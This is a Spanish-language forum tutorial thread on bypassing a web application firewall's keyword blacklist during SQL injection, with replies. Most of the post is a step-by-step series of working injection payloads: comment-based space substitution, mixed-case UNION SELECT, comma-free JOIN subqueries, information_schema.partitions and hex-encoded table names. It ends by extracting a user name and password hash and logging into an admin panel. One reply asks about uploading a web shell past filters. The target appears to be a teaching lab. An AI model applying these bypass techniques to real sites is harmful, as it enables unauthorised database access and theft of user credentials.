comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Taller de Seguridad Web #4

  • 9 Respuestas
  • 6807 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5380
  • Actividad:
    76.67%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Octubre 19, 2014, 06:08:10 pm »

Introducción

Este taller va a tratar sobre seguridad web, y más precisamente, desarrollaremos  cómo evitar WAF (Web Application Firewall) en SQLi.
El WAF es un dispositivo que puede ser hardware o software que analiza el tráfico web (entre el servidor web y la WAN) y protege de diversos ataques como SQL Injection, Cross Site Scripting, etc. Protege ataques dirigidos al servidor web que los IDS/IPS no pueden. No enruta el tráfico ni lo NATea, sino que se hacen 2 peticiones diferentes, una desde el cliente hasta el WAF y otra desde el WAF hasta el servidor web final.

Pueden funcionar como bridge, router, proxy o plugin.
Un ejemplo de WAF a nivel software es el mod_security (plugin de Apache).

Como existe material de seguridad web,  SQLi por medio de MySQL, no profundizaremos, no obstante esa será la base a seguir.


Lista negra

Cuando estamos intentando PASAR un WAF, es conveniente tratar de evitar las palabras que se encuentran en una lista negra o tratar de ofuscarlas. En este ejemplo, tenemos la siguiente lista negra:


Si observamos la captura precedente, el código lo que hace es  detectar cada una de las palabras (usando preg_match):

Código: Text
  1. order
  2. -
  3. \s (espacios en blanco)
  4. , (comas)
  5. @@version
  6. user()
  7. tables
  8. and
  9. sleep
  10. substr
  11. substring
  12. mid()
  13. case

Al agregar la letra i al elenco de palabras que se detectan, posibilita que no importe si esa lista  de palabras son mayúsculas o minúsculas, de igual manera las va detectar.

Tenemos otra condición para ver si se encuentra (preg_match) en la URL las palabras:

Código: Text
  1. union
  2. select
  3. concat

Pero esta vez no utilizamos i (sensible a mayúsculas y minusculas), por lo que solo detectará las palabras en minúsculas  encuentran actualmente en la misma.


Inyectando SQLi y Detectando lista negra

Si hasta ahora hemos visto que al inyectar código SQL en una página, lo primero que hacemos es ver si nos tira algún error -y de hecho no importa si tampoco tira un error- como vimos en la Inyección SQL a Ciegas (Blind SQLi) en los talleres anteriores, donde nos basábamos en si era una consulta falsa o verdera para sacar los datos.

Lo típico, para ver si alguna página tiene un error en su consulta es romper la consulta en sí:

Código: MySQL
  1. $result = mysqli_query($con,"SELECT * FROM noticias WHERE id='$noticia'");

En ese caso, nuestra consulta es la anterior.

Nota importante
Código: Text
  1. Ahora, todo este código lo estamos viendo pero en realidad cuando estemos inyectando en una página código SQL éste no se verá ya que se encuentra en el Back End, por lo cual tendremos que imaginarnos como está estructurada la consulta en realidad.


Para romper esta consulta podemos utilizar ) “ ' \
En este caso, como nuestra consulta es la siguiente:

Código: MySQL
  1. No tienes permisos para ver links. Registrate o Entra con tu cuenta * No tienes permisos para ver links. Registrate o Entra con tu cuenta noticias No tienes permisos para ver links. Registrate o Entra con tu cuenta id='$noticia'

Y lo que inyectamos se encuentra en $noticia con ' -romperíamos la consulta- quedando esté así:

Código: MySQL
  1. No tienes permisos para ver links. Registrate o Entra con tu cuenta * No tienes permisos para ver links. Registrate o Entra con tu cuenta noticias No tienes permisos para ver links. Registrate o Entra con tu cuenta id='''

Causando un error de sintaxis, ya que tiene 3 comillas simples.

En caso de utilizarlo en la web nos daría el error también:

No tienes permisos para ver links. Registrate o Entra con tu cuenta' ERROR


Hasta aquí, ya todo se ha visto en los talleres anteriores, por lo que  no explicaré en detalle cómo se inyecta, ya que ese punto lo conocen, o los invito a visitar los links:

No tienes permisos para ver links. Registrate o Entra con tu cuenta
No tienes permisos para ver links. Registrate o Entra con tu cuenta


Al no saber que hay en la lista negra, a la hora de inyectar vamos haciéndolo en la forma usual, esto nos permitirá saber si algún WAF nos está detectando. En algunos casos los WAF hacen redirección, o simplemente reinician la conexión haciendo algún sleep(),  bloquean la IP, etc.

Continuemos con la inyección:

No tienes permisos para ver links. Registrate o Entra con tu cuenta' order by 10 –- - DETECTADO

Nos devuelve algo como lo siguiente:


En esta oportunidad, es demasiado fácil saber que alguna de esas palabras las está detectando ya que nos lo dice en pantalla, burlándose de nosotros...)

En el siguiente paso, intentamos agregar lo menos que podamos:

No tienes permisos para ver links. Registrate o Entra con tu cuenta' –- - DETECTADO

Nos damos cuenta de que lo único que tenemos -aparte de los espacios- son los guiones, entonces está detectando los guiones, o los espacios, o ambos; para al notar esta situación, podemos evitar los guiones y utilizar # /* ` como comentario.

No tienes permisos para ver links. Registrate o Entra con tu cuenta' %23 DETECTADO

Ahora, quitemos  el espacio y ponemos los guiones:

No tienes permisos para ver links. Registrate o Entra con tu cuenta DETECTADO

Vamos a ponerle %23 es el # solo que está encodeado en URL, debido a que también se usa como hash para ir a determinada parte de un documento HTML.

Continuemos...

No tienes permisos para ver links. Registrate o Entra con tu cuenta CONSULTA CORRECTA

No ha lanzado error, entonces hasta ahora nuestra inyección es correcta. Como anteriormente advertimos que también detecta los espacios;  por consiguiente, nuestra lista negra actualmente se encuentra así:

DETECTA ESPACIOS
DETECTA GUIONES


En consecuencia, tendremos que evitarlos.

Los espacios trataremos de evitarlos usando /**/ en lugar de espacios ya que es un comentario multilínea que  cierra el mismo.

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/%23 CONSULTA CORRECTA

 Lo siguiente, sería saber cuántas columnas tiene la primera consulta, para de esta manera poder inyectar la nuestra utilizando la cláusula UNION y SELECT. Esto, como lo vimos,  lo hacemos usando ORDER BY.

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/ORDER/**/BY/**/10/**/%23 DETECTADO

Por medio de esta acción, no damos cuenta que también detecta ORDER BY. Una cláusula parecida es GROUP BY, la cual se utiliza cuando estamos usando funciones, usaremos ésta para evitar el uso de las palabras de la lista negra:

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/GROUP/**/BY/**/10/**/%23 CONSULTA CORRECTA (CON ERROR)


Nos mando un error, pero es correcta la consulta ya que en ningún momento nos dice que se ha detectado la palabra, informándonos también que no tiene 10 columnas; por lo que habrá que ir bajando...

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/GROUP/**/BY/**/5/**/%23 CONSULTA CORRECTA (CON ERROR)

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/GROUP/**/BY/**/3/**/%23 CONSULTA CORRECTA

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/GROUP/**/BY/**/4/**/%23 CONSULTA CORRECTA (CON ERROR)


A través de estas consultas, nos damos percibimos la existencia de 3 columnas.

Finamente, a  generar nuestra consulta: 3

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/union/**/select/**/1,2,3/**/%23 DETECTADO

Aquí hay diferentes respuestas: o nos detecta unión, o select, o las comas, o todo.

A continuación le quitaremos las comas y dejaremos la consulta solo con union select:

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/union/**/select/**/1/**/%23 DETECTADO

Esta acción nos permite notar que detecta union o select, lo que resulta más fácil todavía: quitamos select:

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/union/**/1/**/%23 DETECTADO

Quitamos union:

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/select/**/1/**/%23 DETECTADO

Ahora sabemos que está detectando las dos palabras...

Vamos a ver si estas palabras son sensibles a mayúsculas y minúsculas, alternando entre mayúsculas y minúsculas, entre las cláusulas:

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/UnIoN/**/SelECt/**/1/**/%23 SIN DETECTAR (CON ERRROR EN LA CONSULTA)


Repasemos, el estado de nuestra lista negra, la que se encuentra así:

DETECTA ESPACIOS
DETECTA GUIONES
DETECTA ORDER BY
DETECTA UNION (EN MINUSCULAS)
DETECTA SELECT (EN MINUSCULAS)


Actualizamos nuestra consulta en forma correcta:

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/UnIoN/**/SelECt/**/1,2,3/**/%23 DETECTADO (SIN ERRROR EN LA CONSULTA)

La última consulta nos permite ver que también nos detecta las comas. En este caso vamos utilizar join  con subconsultas de modo que nuestras tablas se multipliquen y de manera que cada registro de la primera tabla va con cada registro de la segunda tabla, y así sucesivamente.


Nota importante

Código: Text
  1. La sentencia join en SQL permite combinar registros de dos o más tablas en una base de datos relacional.
  2.  
  3. Una subconsulta es una instrucción SELECT anidada dentro de una instrucción SELECT, SELECT...INTO, INSERT...INTO, DELETE, o UPDATE, o dentro de otra subconsulta.


No tienes permisos para ver links. Registrate o Entra con tu cuenta**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/3)c/**/%23 CONSULTA CORRECTA

Como se ve utilizamos alias porque sino devolvería un error como el siguiente:

ERROR 1248 (42000): Every derived table must have its own alias


Excelente, tenemos nuestros campos vulnerables, por lo cual podemos comenzar a buscar nuestra tabla, para ello como nos mostraron en los talleres anteriores vamos a buscar en la base de datos de meta datos INFORMATION_SCHEMA (esta base de datos contienen los registros, columnas y bases de datos; en sí toda la estructura).

INFORMATION_SCHEMA

¡Es hora de comenzar a inyectar!  Recordar que ya incluimos FROM para poder multiplicar las tablas... por lo cual usaremos from information_schema.tables dentro de una subconsulta.

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/table_name/**/from/**/information_schema.tables)c/**/%23 DETECTADO



El resultado de detección que resulta, no permite conocer  si nos detecta... table_name, o nos detecta information_schema, o nos detecta tables; en consecuencia para saber cual nos detecta probamos de 1 a 1...

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/table_name%23 NO DETECTADO (CON ERROR EN CONSULTA)

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/information_schema%23 NO DETECTADO (CON ERROR EN CONSULTA)

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/tables%23 DETECTADO (CON ERROR EN CONSULTA)


Hasta el momento, nuestra lista negra se encuentra así:

DETECTA ESPACIOS
DETECTA GUIONES
DETECTA ORDER BY
DETECTA UNION (EN MINUSCULAS)
DETECTA SELECT (EN MINUSCULAS)
DETECTA COMAS
DETECTA TABLES


Dentro de information_schema hay otras tablas donde podemos encontrar la misma información que cuando utilizamos tables, para evitar esto utilizaremos la tabla partitions.


No tienes permisos para ver links. Registrate o Entra con tu cuenta**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/table_name/**/from/**/information_schema.partitions)c/**/%23 CONSULTA CORRECTA


En muchos casos no devolverá como en el ejemplo, por lo cual, filtraremos utilizando WHERE por la base de datos:

WHERE table_schema=database()

WHERE - filtramos solo los datos por los que queremos
table_schema - contienen los nombres de las bases de datos
database()  - es nuestra base de datos actual

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/group_CONCAT(table_name)/**/from/**/information_schema.partitions/**/where/**/table_schema=database())c/**/%23 CONSULTA CORRECTA


En este caso me he saltado el concat en minúsculas porque también lo detecta.

GROUP_CONCAT – Concatena 1MB de datos

Aquí, lo más importante a sacar es la tabla usuarios.

Lo siguiente es sacar las columnas:

column_name – tabla de informacion_schema donde se encuentran las columnas
columns – columna donde se encuentran los nombres de las columnas
table_name – columna donde se encuentran los nombres de las tablas

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/group_CONCAT(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='usuarios')c/**/%23 CONSULTA CORRECTA

Muchas veces, algunos servidores tienen habilitado magic_quotes_gpc por lo al final en table_name='usuarios' habría un error en nuestra consulta a causa de las comillas simples; en caso de que eso suceda, convertimos nuestra cadena a hexadecimal, agregando al inicio 0xacaelhexadecimalnuestratabla para que nuestra base de datos MySQL sepa que es un hexadecimal.

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/group_CONCAT(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x7573756172696f73)c/**/%23 CONSULTA CORRECTA


Por último, para sacar los datos, tendríamos que hacerlo de 1 a 1 ya que si recordamos las comillas son detectadas:

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/password/**/from/**/usuarios)c/**/%23

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/2)b/**/join/**/(SelECt/**/usuario/**/from/**/usuarios)c/**/%23


O simplemente utilizar la otra subconsulta:

No tienes permisos para ver links. Registrate o Entra con tu cuenta**/UnIoN/**/SelECt/**/*/**/from/**/(SelECt/**/1)a/**/join/**/(SelECt/**/usuario/**/from/**/usuarios)b/**/join/**/(SelECt/**/password/**/from/**/usuarios)c/**/%23


usuario: arthusu
password: a74e85d6c1d4faef74abfede3bae2030 (youwin)


Finalmente,  iniciamos sesión en el panel:



No tienes permisos para ver links. Registrate o Entra con tu cuenta

No tienes permisos para ver links. Registrate o Entra con tu cuenta

No tienes permisos para ver links. Registrate o Entra con tu cuenta



Desconectado aika

  • *
  • Underc0der
  • Mensajes: 181
  • Actividad:
    0%
  • Reputación 0
  • ehie binah
    • Ver Perfil
    • http://codenameaika.blogspot.mx/
    • Email
« Respuesta #1 en: Octubre 19, 2014, 06:11:25 pm »
muy bien n.n ya comprato en las redes   ;)
No tienes permisos para ver links. Registrate o Entra con tu cuenta
No tienes permisos para ver links. Registrate o Entra con tu cuentaNo tienes permisos para ver links. Registrate o Entra con tu cuenta

Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Octubre 20, 2014, 11:37:48 am »
Felicitaciones arthusu! Está excelente el taller! Ataques avanzados de rápida comprensión gracias a la didáctica del texto.

+1

Saludos!
WhiZ


Desconectado arthusu

  • *
  • Underc0der
  • Mensajes: 541
  • Actividad:
    8.33%
  • Reputación 2
  • Yo solo se que no se nada - Socrátes
    • Ver Perfil
    • Arthusu BLOG
  • Skype: arthusuxD
« Respuesta #3 en: Octubre 20, 2014, 01:01:46 pm »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Felicitaciones arthusu! Está excelente el taller! Ataques avanzados de rápida comprensión gracias a la didáctica del texto.

+1

Saludos!
WhiZ

Gracias y tambien a ti aika, cualquier cosa en que tengan dudas sobre el tema por favor comenten ;)

Desconectado alexander1712

  • *
  • Underc0der
  • Mensajes: 850
  • Actividad:
    0%
  • Reputación -2
    • Ver Perfil
    • El blog del programador
    • Email
« Respuesta #4 en: Octubre 20, 2014, 03:10:31 pm »
está excelente mis felicitaciones arthusu.

saludos!

Desconectado esvinusac

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #5 en: Octubre 20, 2014, 03:58:50 pm »
Excelente Taller, felicidades.!

Desconectado Kil0

  • *
  • Underc0der
  • Mensajes: 23
  • Actividad:
    0%
  • Reputación 0
  • Somos distintos, Pensamos diferente.
    • Ver Perfil
    • Email
« Respuesta #6 en: Octubre 25, 2014, 05:17:29 pm »
Excelente Material, felicidades espero las próximas entregas sobro el tema.

aquí tienes un +1

Saludos  :)

Desconectado iMex

  • *
  • Underc0der
  • Mensajes: 7
  • Actividad:
    0%
  • Reputación 0
  • [sudo] password for imex:
    • Ver Perfil
« Respuesta #7 en: Noviembre 12, 2014, 09:02:02 pm »
Hola ANTRAX, buen contenido, me parece un poco corto pero bien explayado, me gustaría que se incluyera que hacer después, las dificultades de subir shell, cuando está filtrada, como bypasear y como subir un uploader para subir la shell en caso de que te limite el tamaño... hace mucho que no me paso por foros, me registré ya que me pareció buen tema y en Infiernohacker hay poca actividad...
« Última modificación: Noviembre 12, 2014, 09:03:49 pm por iMex »

Desconectado Y3K

  • *
  • Underc0der
  • Mensajes: 173
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #8 en: Noviembre 12, 2014, 10:07:48 pm »
Está muy bueno el Taller.

¡Gracias por compartir!

Desconectado hum4n3xpl01t

  • *
  • Underc0der
  • Mensajes: 44
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #9 en: Noviembre 17, 2014, 01:08:05 am »

Excelente Taller, mis respetos para arthusu.

Best Regards,

hum4n3xpl01t  8)

 

¿Te gustó el post? COMPARTILO!



Taller de pentesting con Kali Linux - Parte I

Iniciado por ANTRAX

Respuestas: 55
Vistas: 31710
Último mensaje Febrero 28, 2018, 02:23:37 am
por lynch512
Taller de Pentesting con Kali Linux #2

Iniciado por ANTRAX

Respuestas: 32
Vistas: 21962
Último mensaje Noviembre 10, 2017, 07:40:18 am
por Brittsman97
Taller de programacion en Java #1

Iniciado por ANTRAX

Respuestas: 4
Vistas: 3864
Último mensaje Enero 09, 2014, 07:22:14 pm
por Kolibri26
Taller Programación en Batch #1

Iniciado por ANTRAX

Respuestas: 5
Vistas: 9935
Último mensaje Octubre 21, 2014, 04:53:53 pm
por drotha2
Taller Programación en Ruby #1

Iniciado por ANTRAX

Respuestas: 8
Vistas: 4945
Último mensaje Julio 12, 2016, 11:06:52 pm
por m86d19o